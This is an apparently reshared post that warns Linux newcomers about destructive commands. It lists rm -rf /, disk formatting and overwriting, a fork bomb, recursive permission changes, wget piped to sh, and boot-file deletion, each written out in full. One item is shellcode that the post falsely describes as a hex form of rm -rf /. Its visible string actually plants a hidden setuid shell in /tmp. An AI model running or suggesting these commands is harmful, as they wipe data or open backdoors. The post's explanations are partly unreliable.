Deadly Linux Commands

The Deadly #Linux #Commands 

If you are new to Linux, chances are you will meet a stupid person perhaps in a forum or chat room that can trick you into using commands that will harm your files or even your entire operating system. To avoid this dangerous scenario from happening, I have here a list of deadly Linux commands that you should avoid.

1. Code:

rm -rf /

This command will recursively and forcefully delete all the files inside the root directory.

2. Code:

char esp[] _attribute_ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";


This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.

3. Code:

mkfs.ext3 /dev/sda


This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.

4. Code:

:(){:|:&};:


Known as fork bomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.

5. Code:

any_command > /dev/sda


With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.

6. Code: 

wget http://some_untrusted_source O | sh

Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.

7. Code: 
mv ~/* /dev/null
mv /home/yourhomedirectory/* /dev/null


This command will move all the files inside your home directory to a place that doesn't exist; hence you will never ever see those files again.

There are of course other equally deadly Linux commands that I fail to include here, so if you have something to add, please share it with us via comment.

8. Code:

dd if=/dev/urandom of=/dev/sda

This command fill your hard disk partition with some random data

9. Code:

chmod -R 777 /

This comand make your system world writable.

10. Code:

chmod 000 -R /
chown nobody:nobody -R /

This command removes all the access priviledge from all the users except root

11. Code:

yes > /dev/sda

This command fill your hard disk with the character 'y'

12.Code:

rm -rf /boot/
Description:
Will delete Kernel , Initrd , and GRUB/LILO Files
(Needed for Linux Startup)


rm /boot/vmlinux
rm /boot/vmlinuz
rm /boot/vmlinux*
rm /boot/vmlinuz*
Delete the Linux kernel

rm /bin/init
cd / ; find | grep init | rm

Deletes any file with "init" in it including /sbin/init.


Mitesh Shah originally shared this post: